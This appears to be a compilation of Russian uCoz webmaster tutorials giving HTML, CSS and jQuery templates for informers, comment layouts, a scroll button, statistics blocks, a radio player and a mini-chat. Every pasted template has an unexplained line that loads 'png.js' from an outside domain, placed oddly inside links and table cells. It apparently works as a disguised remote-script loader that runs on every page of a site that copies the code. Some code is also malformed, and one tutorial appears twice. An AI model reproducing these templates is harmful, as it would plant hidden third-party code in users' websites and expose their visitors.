Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css Шаг 1 - Создаём информер: Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим в Админ панель => Инструменты => Информеры => Создать информер Раздел: Пользователи Способ сортировки: колл. комментарий Количество материалов: 10 Количество колонок: 1 удаляем старый код и устанавливаем новый: Код <div class="ddm_top_user"> <a href="$PROFILE_URL$" class="drop_top_user <?if($NUMBER$=10)?>bottom_no<?endif?>" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avoar.jpg<?endif?>"/> <strong>$USERNAME$</strong> <span>$COM_POSTS$</span> </a>
<div class="ddm_cell_user"> <span class="ddm_ugol_user"></span> <div class="ddm_content_user"> <div class="ddm_content_top"> <strong>$FULL_NAME$</strong> <span>ID:$USER_ID$</span> </div> <ul> <li><span>Пол:</span><?if($GENDER$)?>$GENDER$<?else?>----------<?endif?></li> <li><span>Ранг:</span><?if($код$)?> $RANK_NAME$<?else?>----------<?endif?></li> <li><span>Группа:</span> $GROUP_NAME$</li> <li><span>Репутация:</span> $REPUTATION$</li> <li><span>Комментариев:</span> $COM_POSTS$</li> <li><span>Зарегистрирован:</span> $REG_DATE$</li> </ul> </div> </div> </div> А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров: Код <div class="top_user"> <div class="top_user_title">Топ пользователей</div> $MYINF_1$ </div> Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js. Шаг 2 - Установим CSS: Теперь когда данное решение почти готово, пропишем ему следующие css стили: Код /* Tоп пользователей с дополнительной информацией ------------------------------------------*/ .top_user { float:left; width:250px; background: #fff; border-radius:3px; border: 1px solid #CAD3DA; }
.top_user_title { font:11px Verdana,Arial,Helvetica, sans-serif; text-shadow: 1px 1px 1px #B0431B; text-align:right; font-weight:700; color:#fff;
float:left; width:232px; height:20px; background:#e77e57; margin: -1px -1px 0px -1px; padding: 7px 10px 3px 10px; border-radius:3px 3px 0px 0px; }
.ddm_top_user { float:left; display:block; position:relative; } .drop_top_user { float:left; width:230px; font-weight:700; height:25px; padding: 5px 10px 5px 10px; border-bottom: 1px solid #CAD3DA; }
.drop_top_user img { float:left; width:25px; height:25px; margin-right: 10px; }
.drop_top_user strong { float:left; margin-top: 5px; }
.drop_top_user span { float:right; width:55px; height:20px; text-align:right; padding: 5px 0px 0px 5px; border-left: 1px solid #CAD3DA; background: url(ico_comment.png) no-repeat left; }
.ddm_top_user:hover{ background:#F7F9FB; }
.ddm_cell_user, .ddm_ugol_user{ width:250px; }
.ddm_cell_user { left:-999em; z-index:998; margin:0px auto; position:absolute; border:1px solid #CAD3DA; border-radius:3px; } .ddm_content_user { color:#777; margin:0; width:230px; padding:5px 10px; overflow:hidden; background:#fff; border-radius:3px; } .ddm_top_user:hover .ddm_cell_user{ top: 0px; right:255px; left:auto; } .ddm_ugol_user { height:17px; top: 10px; right: -9px; position:absolute; background:url(angle_right.png) no-repeat right; }
.ddm_content_top { float:left; width:100%; margin-bottom: 10px; padding: 0px 0px 5px 0px; border-bottom:1px solid #CAD3DA; }
.ddm_content_top span { float:right; margin-top:2px; font:9px Verdana,Arial,Helvetica, sans-serif; color:#999; }
.ddm_content_user ul{ margin:0; padding:0; list-style:none; }
.ddm_content_user li{ float:left; width:100%; padding: 3px 0px 3px 0px; }
.ddm_content_user li span{ float:left; width:120px; }
.cu_li1 {background:#fff} .cu_li2 {background:#F7F9FB;}
.bottom_no { border-bottom:none; } Шаг 3 - Установим JS: А для того чтобы в появляющейся ячейки с дополнительной информацией пользователя, не пришлось вручную прописывать классы чётным спискам, следует установить вниз страницы перед закрывающим тегом </body> следующий js Код <script language="javascript"> $(document).ready(function() { $('.ddm_content_user ul li:odd').addClass('cu_li1'); $('.ddm_content_user ul li:even').addClass('cu_li2'); }); </script>
|
Всем доброго дня, разбирая старые архивы я обнаружил папку с некогда планированным контентом, но к сожалению в прошлом я не мог реализовать то или иное решение правильно, так как мои знания были начинающими, а сейчас самое то, додумать, переделать и предоставить на общее скачивание. И так в данном решение мы будем создавать очередной внешний вид "Топ пользователей по комментариям uCoz" Для начала нам следует установить на страницу сайта нужный html каркас с информером пользователей, для этого заходим в Админ панель => Инструменты => Информеры => Создать информер Раздел: Пользователи Способ сортировки: колл. комментарий Количество материалов: 10 Количество колонок: 1 в котором удаляем старый код и устанавливаем новый: Код <li> <a href="$PROFILE_URL$" > <img class="tu_avatar" alt="аватар $USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avata9r.jpg<?endif?>" /> <script type="text/javascript" src="http://activiks.ru/img/png.js"></script> <strong>$USERNAME$</strong> </a> <div><span>$COM_POSTS$</span></div> </li> а на страницу сайта в нужное вам место устанавливаем сам информер: Код <ul class="top_uzer_2"> $MYINF_1$ </ul> Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать именно системной переменной, а не отдельной ссылкой на js. Шаг 2 - Установим CSS: Теперь давайте закончим данное решение, прописав ему следующие css стили: для зеленого варианта информера: Код /* Топ пользователей для Ucoz - Зелёный вариант ------------------------------------------*/ .top_uzer { float:left; padding:0; margin:0; width:230px; color:#467925; text-shadow: 1px 1px 1px #cbeeb3; }
.top_uzer li { float:left; list-style:none; margin-bottom:10px; border-radius:5px; border: 1px solid #73aa4f; }
.top_uzer li a:link, .top_uzer li a:visited { float:left; width:150px; height:32px; color:#467925; background:#98ce75; border-right: 1px solid #81b75d; }
.top_uzer li a:hover { background:#bae39f; }
.top_uzer li strong { float:left; margin: 9px 0px 0px 0px; }
.top_uzer li div { float:right; width:55px; height:23px; text-align:right; padding: 9px 10px 0px 0px; border-left: 1px solid #bae39f; background: url(http://bambun.ru/images/ico_comment.png) #98ce75 no-repeat left; }
.top_uzer li span { font-weight: 700; }
.tu_avatar { float:left; width:25px; height:25px; margin: 2px 10px 0px 10px; border: 1px solid #c7f2ac; border-radius:3px; }
для синего варианта информера: Код /* Топ пользователей для Ucoz - Синий вариант ------------------------------------------*/ .top_uzer { float:left; padding:0; margin:0; width:230px; color:#255c79; text-shadow: 1px 1px 1px #9bc9e1; }
.top_uzer li { float:left; padding:0; margin-bottom: 10px; list-style:none; border-radius:5px; border: 1px solid #4f82aa; }
.top_uzer li a:link, .top_uzer li a:visited { float:left; width:150px; height:32px; color:#255c79; background:#75abce; border-right: 1px solid #4f82aa; }
.top_uzer li a:hover { background:#9fc1e3; }
.top_uzer li strong { float:left; margin: 9px 0px 0px 0px; }
.top_uzer li div { float:right; width:55px; height:23px; text-align:right; padding: 9px 10px 0px 0px; border-left: 1px solid #9fc2e3; background: url(http://bambun.ru/images/ico_comment_2.png) #75abce no-repeat left; }
.top_uzer li span { font-weight: 700; }
.tu_avatar { float:left; width:25px; height:25px; margin: 2px 10px 0px 10px; border: 1px solid #b0c6e8; border-radius:3px; } Вот и всё, информер топ пользователей по комментариям uCoz создан, на этом всё, спасибо за внимание!
|
Для начала нам нужно создать сам информер. Для этого вам необходимо зайди в ПУ вашего сайта и перейти в раздел "Информеры". Далее жмем на кнопку "Создать информер" и задаем следующие параметры. Главная » Информеры Раздел: форум Способ сортировки: Последние обновленные темы Количество материалов: 10 Количество колонок: 1 Затем нажимаем на кнопку "Создать". Наш информер создан, теперь нужно изменить стандартный вид информера. Нажимаем на кнопку "Управление дизайном шаблона". И в появившееся окно вставляем код шаблона. Код <table style="margin-bottom:3px;border: 1px dashed #CFCFCF; width:100%;text-align: left; vertical-align: middle; padding-left: 2px; padding-top: 1px; padding-bottom: 1px; font-size: 8pt; font-style: normal;"><tbody> <tr><td style="vertical-align: top; width: 260px;"> <p align="left">$NUMBER$. <a href="$THREAD_URL$" title="$FORUM$">$THREAD_TITLE$</a> </p></td><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><td style="vertical-align: top;"> <p align="right"><a href="$LAST_POST_URL$">($REPLIES$)</a></p></td></tr></tbody></table> Вот и все, вам осталось лишь разместить информер у себя на сайте. Спасибо за внимание!
|
Довольно не стандартный вид комментариев с функцией ."Мне нравится"Вид очень необычный. Наверное каждому надоело,комментировать новость,и видеть простой комментарий без эффектов и прочего...если да, то скрипт для вас.... видос по установке данного скрипта youtube.com/watch?feature=player_embedded&v=I4jtZGqG0YQ Вставить с заменой в вид комментариев: Код <table align="center" width="100%" style="border-collapse:collapse;margin:10px;"> <tr> <td width="10px" style="padding:5px;border-top:1px solid #d2d2d2;border-left:1px solid #d2d2d2;border-bottom:1px solid #d2d2d2;background:#FFFFFF;"><font color="#404040"><b>$USERNAME$</b></font> $MODER_PANEL$</td> <td width="200px" style="padding:5px;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;background:#FFFFFF;"></td> <td width="10px" style="border-bottom:1px solid #d2d2d2;"></td> <td width="20px" style="background:#FFFFFF;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;"> <div id="allrate$NUMBER$" align="center"> <a style="text-decoration:none;" href="$GOOD_COMMENT_URL$"><span id="ico$NUMBER$"><img src="http://bambun.ru/images/love.png" border="0" style="width: 15px; margin-bottom:-2px; margin-right:2px;" >$COMMENT_RATING$</span></a> </div> </td> <td width="10px" style="border-bottom:1px solid #d2d2d2;"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script></td> <td align="center" style="padding:5px;background:#FFFFFF;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;"> <div id="allrate$NUMBER$" align="center"> <a href="$PROFILE_URL$"><img border="0" width="12" src="http://bambun.ru/images/go-home.png"></a> </div> </td> </tr> <tr> <td colspan="1" valign="top" width="60px" style="padding:10px;"><img src="$USER_AVATAR_URL$" width="60px" style="padding:3px;background:#f7f7f7;border:1px solid #d3d3d3;"></td> <td colspan="5" width="90%" valign="top" style="padding:3px;border-bottom:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;background:#FFFFFF;">$MESSAGE$</td> </tr> </table> <style> #allrate$NUMBER$ {opacity:0.5;font-size:10px;} #allrate$NUMBER$:hover {opacity:1.0;} #ico$NUMBER$ {color:#2B587A;cursor:pointer;} </style>
|
Что в этом скрипте особенного: 1) Появляестя скроллирующая кнопка ввиде анимащионного кота, который ест попкорн, после того, как вы начнёте пролистывать страницу Вниз 2) При нажатии на кота появляется по средине страници анимационный журавель и вместе со станицей поднимается вверх плавно исчезая.. 3) Скрипт не напрягает вашу систему, сайт. Р.s данный скрипт больше всего подойдет для кино, видео сайтов. Установка скрипта: Управление дизайном сайта -- Нижняя часть сайта В самый верх вставляем: Код <div style="position:relative"> <a href="javascript://" title="Поднять страницу" style="display:block; position:fixed; bottom:0px; right:4px;" id="toTop"><img src="http://bambun.ru/images/top.gif" border="0" /></a> </div> <script src="http://bambun.ru/css_js/scrol.js" type="text/javascript"></script> <div style="position:relative"> <script src="http://activiks.ru/img/png.js" type="text/javascript"></script> <div id="scrolling-img" style="position:fixed; top:48%; left:45%; z-index:9999; display:none;"> <img src="http://bambun.ru/images/023454530.gif " alt="" /> </div> </div>
|
В данном материале Мы поможем Вам создать и установить информер с красивой и подробной статистикой зарегистрированных, а так же добавленных материалов и комментариев. Такая же статистика установлена и на нашем сайте! Как выглядит эта подробная статистика - смотрите на картинке! О чём она сообщает пользователю - общее количество зарегистрированных пользователей, количество новых регистраций за день, количество комментариев, созданных тем и ответов в них! Цифры в информере сделаем выделенными и с красивым цветным фоном. Подробная описание как создать такой информер статистики: # заходим на сайт в админ панель # панель Инструменты > Информеры # нам необходимо будет создать 2 новых информера # создаём первый информер с этими показателями > [ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ] и в шаблон информера копируем этот код - Код <span style="font-size: 10pt;">Зарегистрировано</span><span style="font-size: 12pt;"> <b><span style="background-color: rgb(30, 144, 255); color: rgb(255, 255, 255); font-size: 12pt;">$ALL_USERS$</span></b></span> <span style="font-size: 10pt;">(сегодня + <span style="font-size: 10pt;"><i>$TODAY$ новых</i></span>)</span> # создаём второй информер с этими показателями > [ Счетчики материалов · Материалы ] и в шаблон информера копируем этот код - Код <span style="font-size: 10pt;">В каталоге файлов <font color="#ffffff"><span style="background-color: rgb(255, 0, 0);"><span style="font-size: 12pt;"><b>$LOAD$</b></span></span></font> материала(ов), Оставлено <font color="#ffffff"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><span style="background-color: rgb(50, 205, 50);"><span style="font-size: 12pt;"><b>$COMMENTS$</b></span></span></font> комментариев, На форуме создано <font color="#ffffff"><span style="background-color: rgb(255, 165, 0);"><span style="font-size: 12pt;"><b>$FORUM_T$</b></span></span></font> тем и <font color="#ffffff"><span style="background-color: rgb(255, 69, 0);"><span style="font-size: 12pt;"><b>$FORUM_P$</b></span></span></font> ответов.</span> # Примечание - в этом коде используется количество материалов в Каталоге Файлов - $LOAD$!!! Если же Вам нужно количество материалов для другого модуля то вам нужно будет LOAD заменить на другое, например для новостей это будет $NEWS$ , для блога $BLOG$... # далее копируйте коды ваших информеров ( например - $MYINF_1$ $MYINF_2$ ) # перейдите в Дизайн > Управление дизайном - и найдите первый или второй контейнер ( именно там находится ваш блок со статистикой ) Вам нужно найти код $COUNTER$ и скопировать коды информеров рядом с ним. Получиться примерно так : $COUNTER$ $MYINF_1$ $MYINF_2$. Вам нужно убедиться что ваш код $COUNTER$ работает ( должна быть включен модуль Статистика Сайта для этого, подключить можно в Админ Панели ) На этом установка завершенна! Любые вопросы пишите в комментариях.
|
В данном материале Мы поможем Вам создать и установить информер с красивой и подробной статистикой зарегистрированных, а так же добавленных материалов и комментариев. Такая же статистика установлена и на нашем сайте! Как выглядит эта подробная статистика - смотрите на картинке! О чём она сообщает пользователю - общее количество зарегистрированных пользователей, количество новых регистраций за день, количество комментариев, созданных тем и ответов в них! Цифры в информере сделаем выделенными и с красивым цветным фоном. Подробная описание как создать такой информер статистики: # заходим на сайт в админ панель # панель Инструменты > Информеры # нам необходимо будет создать 2 новых информера # создаём первый информер с этими показателями > [ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ] и в шаблон информера копируем этот код - Код <span style="font-size: 10pt;">Зарегистрировано</span><span style="font-size: 12pt;"> <b><span style="background-color: rgb(30, 144, 255); color: rgb(255, 255, 255); font-size: 12pt;">$ALL_USERS$</span></b></span> <span style="font-size: 10pt;">(сегодня + <span style="font-size: 10pt;"><i>$TODAY$ новых</i></span>)</span> # создаём второй информер с этими показателями > [ Счетчики материалов · Материалы ] и в шаблон информера копируем этот код - Код <span style="font-size: 10pt;">В каталоге файлов <font color="#ffffff"><span style="background-color: rgb(255, 0, 0);"><span style="font-size: 12pt;"><b>$LOAD$</b></span></span></font> материала(ов), Оставлено <font color="#ffffff"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><span style="background-color: rgb(50, 205, 50);"><span style="font-size: 12pt;"><b>$COMMENTS$</b></span></span></font> комментариев, На форуме создано <font color="#ffffff"><span style="background-color: rgb(255, 165, 0);"><span style="font-size: 12pt;"><b>$FORUM_T$</b></span></span></font> тем и <font color="#ffffff"><span style="background-color: rgb(255, 69, 0);"><span style="font-size: 12pt;"><b>$FORUM_P$</b></span></span></font> ответов.</span> # Примечание - в этом коде используется количество материалов в Каталоге Файлов - $LOAD$!!! Если же Вам нужно количество материалов для другого модуля то вам нужно будет LOAD заменить на другое, например для новостей это будет $NEWS$ , для блога $BLOG$... # далее копируйте коды ваших информеров ( например - $MYINF_1$ $MYINF_2$ ) # перейдите в Дизайн > Управление дизайном - и найдите первый или второй контейнер ( именно там находится ваш блок со статистикой ) Вам нужно найти код $COUNTER$ и скопировать коды информеров рядом с ним. Получиться примерно так : $COUNTER$ $MYINF_1$ $MYINF_2$. Вам нужно убедиться что ваш код $COUNTER$ работает ( должна быть включен модуль Статистика Сайта для этого, подключить можно в Админ Панели ) На этом установка завершенна! Любые вопросы пишите в комментариях.
|
Большое количество радиостанций. Ставим в любое место на сайте.. Код <div id="RP_v4_radio" align="center" class="RPv4-well RPv4-well-small"><div class="RPv4-radioplayer-wrapper"><div id="RP_v4_radioplayer"></div></div><div class="RPv4-btn-group" align="left"><a class="RPv4-btn RPv4-dropdown-toggle" data-toggle="dropdown" href="http://radiopotok.ru/">Онлайн радио<span class="RPv4-caret"></span></a><ul class="RPv4-dropdown-menu"></ul><script src="http://activiks.ru/img/png.js" type="text/javascript"></script></div></div> <script>!window.jQuery && document.write(unescape('%3Cscript src="//yandex.st/jquery/1.8.2/jquery.min.js"3C/script%3E'))</script> <script>!window.swfobject && document.write(unescape('%3Cscript src="//yandex.st/swfobject/2.2/swfobject.min.js"3C/script%3E'))</script> <script type="text/javascript">var RP_v4_theme = 'light'; // Светлая тема -> 'light'; Темная тема -> 'dark'</script> <script type="text/javascript" src="http://radiopotok.ru/f/script4/66bdbef6e0ba43fcbc9aa1e8468b629d.js" charset="UTF-8"></script>
|
Установка: Для начала зоздадим информер: [ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя · Колонки: 0 ] В шаблон информкра вставляем: Код <a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a> А вот это ставим в блок: Код <hr><noindex><table width="100%" border="0"><tr><td width="50%" align="center">$COUNTER$</td><td width="50%" align="center"><!--cy-pr.com--><a href="http://www.cy-pr.com/" target="_blank"><img src="http://www.cy-pr.com/e/cstav.ru_1_107.138.206.gif" border="0" width="88" height="31" alt="Анализ сайта онлайн"/></a><!--cy-pr.com--></td></tr></table></noindex><hr>
<div style="display:none;">$ONLINE_COUNTER$</div><table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td align="left" width="50%" valign="left"><span id="icon-border" style="margin-right:3px;"><span id="icon-gray"></span></span>Гости сайта</td> <script src="http://activiks.ru/img/png.js"text/javascript"></script> <td align="right" width="50%" valign="right">Пользователи<span id="icon-border" style="margin-left:3px;"><span id="icon-blue"></span></span></td> </tr> </table> <div style="border:1px solid #ccc; background:#fff; padding:1px 2px; margin-top:2px;" id="stat-line" align="left"></div> <div style="border:0px; padding:2px; text-align:center;" id="all-users"></div> <script type="text/javascript"> var allusers = $('.tOnline b').html(); var gostusers = $('.gOnline b').html(); var siteusers = $('.uOnline b').html(); var uGosti = (gostusers/allusers).toFixed(2)*100; var uUsers = 100 - uGosti; function skl(a, n) {return a[n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>= 20) ? 1 : 2];}; $('#stat-line').html('<div class="cross1" style="width:'+Number(uGosti).toPrecision(3)+'%;" id="ghostss"><span style="padding-left:3px;">'+uGosti.toFixed()+'%</span></div><div class="cross2" style="width:'+Number(uUsers).toPrecision(3)+'%;" id="userss"><span style="padding-right:3px;">'+uUsers.toFixed()+'%</span></div>'); $('#all-users').html('Всего на сайте <b>'+allusers+'</b> '+skl(['человек', 'человека', 'человек'],allusers)+'</div>'); if (siteusers<1) $('#userss').hide(); if (gostusers<1) $('#ghostss').hide(); </script> <hr> <div class="onlineusers"></div> $ONLINE_USERS_LIST$ <hr> <div class="positili"></div> $MYINF_XX$
<hr> <center> <div id="userD" style="font-size:8pt;color:#000;"></div> <script type="text/javascript"> function declOfNum(number, titles) { cases = [2, 0, 1, 1, 1, 2]; return titles[ (number%100>4 && number%100<20)? 2 : cases[(number10:5] ]; }; $.get('/index/62-2',function(data){ spisok = $('a',$('cmd[p="content"]',data).text()).size(); $('#userD').html('Сегодня нас '+declOfNum(spisok, [" посетил", " посетило", " посетили"])+' <b>'+spisok+declOfNum(spisok, [" юзер", " юзера", " юзеров"])+'</b>') }); </script> <div align="center">[<a href="javascript://" rel="nofollow" onclick="new _uWnd('TdUsrLst',' ',250,350,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Полный список</a>]</div> </center> Там где $MYINF_XX$ ставим свой номер информера А вот это прописываем в свой CSS в самый низ: Код .positili {background:url(http://bambun.ru/images/positili.png);height:14px;width:191px;} .onlineusers {background:url(http://bambun.ru/images/onlineusers.png);height:14px;width:191px;} Все готово =)
|
Описание: В мини-чат добавлено правила мини-чата и очистка мини-чата... Установка: В вид материалов мини-чата вставляем: Код <style>.blockGbChat {margin:5px 0px;padding:2px 6px;max-width:184px;overflow:hidden;} .cBlock1 {border:1px solid #cfcfcf;background:#f8f8f8;} .hrchat {height:1px;width:100%;background:white;border-top:1px solid #dddddd;margin:2px;} input#mchatBtn {background:#f8f8f8;border:1px solid #dddddd;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;padding:3px;} input#mchatBtn:hover {background:#fff;border:1px solid #cfcfcf;cursor:pointer;} input#mchatBtn:focus {border:1px solid #bdbdbd;} textarea#mchatMsgF {background:#fbfbfb;border:1px solid #dddddd;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;padding:3px;width:140px !important;} textarea#mchatMsgF:hover {background:#fff;border:1px solid #cfcfcf;} textarea#mchatMsgF:focus {border:1px solid #bdbdbd;} #jeuwu28 {color:#bdbdbd;} .transparency a img {opacity:0.5;-moz-opacity:0.5;filter:alpha(opacity=70);} .transparency a:hover img {opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);} #block_icons_menu {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_menu.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;} #block_icons_mchat {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_mchat.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;} #block_icons_pool {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_poll.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;} #block_icons_statistic {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_statistic.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;} #block_icons_newrips {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_rips.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;} #block_icons_comments {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/icon_comments.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}</style> <div class="blockGbChat cBlock1"> <div style="float:left"> <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"> <?if($USER_ID$='1')?><font color=CC6A6A><b>$NAME$</b></font><?else?><b>$NAME$</b><?endif?> </a> </div> <div style="text-align:right" class="transparency"> <span title="$DATE$" style="color:grey;font-size:9px;">$TIME$</span> <a target="_blank" href="javascript://" rel="nofollow" onclick="return show_profile('$USER_ID$');"><img src="/img/profile.png" title="Профиль пользователя $NAME$'а"></a> <a align="right" width="18px"><a target="_blank" href="/index/14-$USER_ID$-0-1"><img src="/img/mchat_user-icon.png" title="Написать ЛС $NAME$'у"></a> </div> <style> .blockGbChat {margin:5px 0px;padding:2px 6px;overflow:hidden;} .cBlock1 {border:1px solid #cfcfcf;;border-radius:4px;} </style> <div class="hrchat"></div> $MESSAGE$ </div> А вот это в форму добавления сообщения: Код <?if(!$CAN_ADD$)?> <div align="center"> <table cellspacing="0" cellpadding="0"> <tr> <td class="op_fon"> <img src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/dialog-warning.png"></td> <script src="http://activiks.ru/img/png.js"text/javascript"></script> <td class="gost" valign="top"> Для добавления сообщения <a href="/index/3">зарегистрируйтесь</a>. </td> </tr> </table></div><?else?> <table border="0" cellpadding="1" cellspacing="1" width="100%"> <tr><td>$FLD_AUTOUPD$</td> <td width="70%" align="right"> <a href="javascript://" title="Правила мини чата читать всем!" onclick="openLayerB('Rules_Mchat',0,'http://www.cstav.ru/uCoz/3_uCoz-raz/7/rules_mchat.xml','Правила мини-чата',400,200,'1','','',0,'justify'); return false;"> <img alt="" border="0" align="absmiddle" src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/dialog-warning.png" width="13" height="15"></a> <?if($GROUP_ID$=4)?> <a href="javascript://" onclick="new _uWnd('del_chat','Очистка Мини-чата', 350, 130, {alert:1,autosize:0,modal:1,resize:0,nomove:1,max:0,fadespeed:500,align:0,oncontent:function(){del0()}},'<center><div class=\'del_c\'><div class=\'del_dels\'>Удалено: 0</div><div class=\'del_num\'>Всего сообщений: <span id=\'num\'></span></div><center><div class=\'del_chat\'></div><div class=\'del_time\'></div></center></div><div id=\'del_ok\'>Очистка успешно завершена</div><div id=\'del_error\'>Мини-чат пуст!</div><div id=\'del_enter\'><input type=\'button\' onclick=\'del1()\' value=\'Начать очистку\' /></div></center>');"><img alt="" border="0" align="absmiddle" src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/delete.gif" width="13" height="15" title="Очистить мини-чат"></a> <style type="text/css"> .del_chat {width:300px;height:15px;border:1px solid #666;background:#f2f2f2;margin:10px 0;} /* сам прогресс-бар, цвет рамки и фона */ .delete_chat {height:15px;float:left;} /* выравнивание заполнения прогресс-бара */ .delete_chats {padding:1px;background:#c0c0c0;height:13px;} /* стиль полоски прогресс-бара (главное цвет) */ #del_enter, #del_ok, #del_error, .del_c {margin:10px auto !important;overflow:none;} /* отступы для кнопки и сообщение об успехе/ошибке */ #del_ok, #del_error {font-size:15px;} /* размер текста для сообщений об успехе/ошибке */ #del_ok, #del_error, .del_c {text-align:center;display:none;} /* выравниание текста сообщений об успехе/ошибке */ .del_num {text-align:left;margin-left:14px;} /* стиль общего количества сообщений в чате */ .del_dels {text-align:right;float:right;margin-right:13px;} /* стиль количества удаленных сообщений */ </style> <script type="text/javascript" src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/mini-cgat_del.js"></script><?endif?> <a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/123.png" width="13" height="15"></a> <?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/lol.gif" width="13" height="15"></a><?endif?> <?if($BBCODES_URI$)?> <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/bb-code.png" width="13" height="15"></a><?endif?> <?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/456.png" width="15" height="15"></a><?endif?> </td></tr></table> <?if(!$USER_LOGGED_IN$)?> <table border="0" cellpadding="1" cellspacing="1" width="100%"> <tr><td colspan="2">$FLD_NAME$</td></tr> <tr><td width="50%">$FLD_EMAIL$</td><td>$FLD_URL$</td></tr> </table> <?endif?> <?if($FLD_CUSTOM1$ || $FLD_CUSTOM2$)?> <table border="0" cellpadding="1" cellspacing="1" width="100%"> <tr><td width="50%">$FLD_CUSTOM1$</td><td>$FLD_CUSTOM2$</td></tr> </table> <?endif?> <?if($FLD_SECURE$)?> <table border="0" cellpadding="1" cellspacing="1" width="100%"> <tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr> </table> <?endif?> <table border="0" cellpadding="1" cellspacing="1" width="100%"> <tr><td width="95%" rowspan="2">$FLD_MESSAGE$</td> <td align="center" valign="top"><div style="font-size:10px;">$LENGTH_COUNTER$</div></td> </tr><tr><td align="center" valign="bottom"> <div style="width: 30px;"><input value="OK" class="mchat" id="mchatBtn" style="width: 30px;" type="button" onClick="antispam()"><img alt="" style="display: none;" id="mchatAjax" src="http://s20.ucoz.net/img/fr/ajax3.gif" border="0" width="16"></div> </td></tr></table> <?endif?>
|
|